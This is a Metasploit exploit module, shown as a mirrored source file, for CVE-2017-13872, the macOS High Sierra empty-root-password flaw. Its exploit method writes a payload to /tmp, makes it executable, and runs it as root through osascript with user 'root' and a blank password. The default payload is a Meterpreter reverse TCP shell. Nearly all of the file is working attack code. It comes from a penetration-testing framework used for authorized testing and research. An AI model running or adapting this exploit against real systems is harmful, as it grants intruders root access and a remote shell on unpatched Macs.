Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/root_no_password.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::OSX::Priv
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Mac OS X Root Privilege Escalation',
19
'Description' => %q{
20
This module exploits a serious flaw in MacOSX High Sierra.
21
Any user can login with user "root", leaving an empty password.
22
},
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2017-13872' ],
26
[ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],
27
[ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],
28
[ 'URL', 'https://forums.developer.apple.com/thread/79235' ],
29
],
30
'Platform' => 'osx',
31
'Arch' => ARCH_X64,
32
'Author' => [
33
'chethan177', # earliest public discovery
34
'lemiorhan', # making this well-known via Twitter
35
'timwr', # Metasploit module
36
],
37
'DefaultOptions' => {
38
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
39
},
40
'SessionTypes' => [ 'shell', 'meterpreter' ],
41
'Targets' => [
42
[ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', {} ]
43
],
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2017-11-29',
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
end
54
55
def exploit_cmd(root_payload)
56
"osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
57
end
58
59
def exploit
60
if is_root?
61
fail_with Failure::BadConfig, 'Session already has root privileges'
62
end
63
64
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
65
print_status("Writing payload file as '#{payload_file}'")
66
write_file(payload_file, payload.raw)
67
register_file_for_cleanup(payload_file)
68
output = cmd_exec("chmod +x #{payload_file}")
69
print_status("Executing payload file as '#{payload_file}'")
70
cmd_exec(exploit_cmd(payload_file))
71
end
72
end
73
74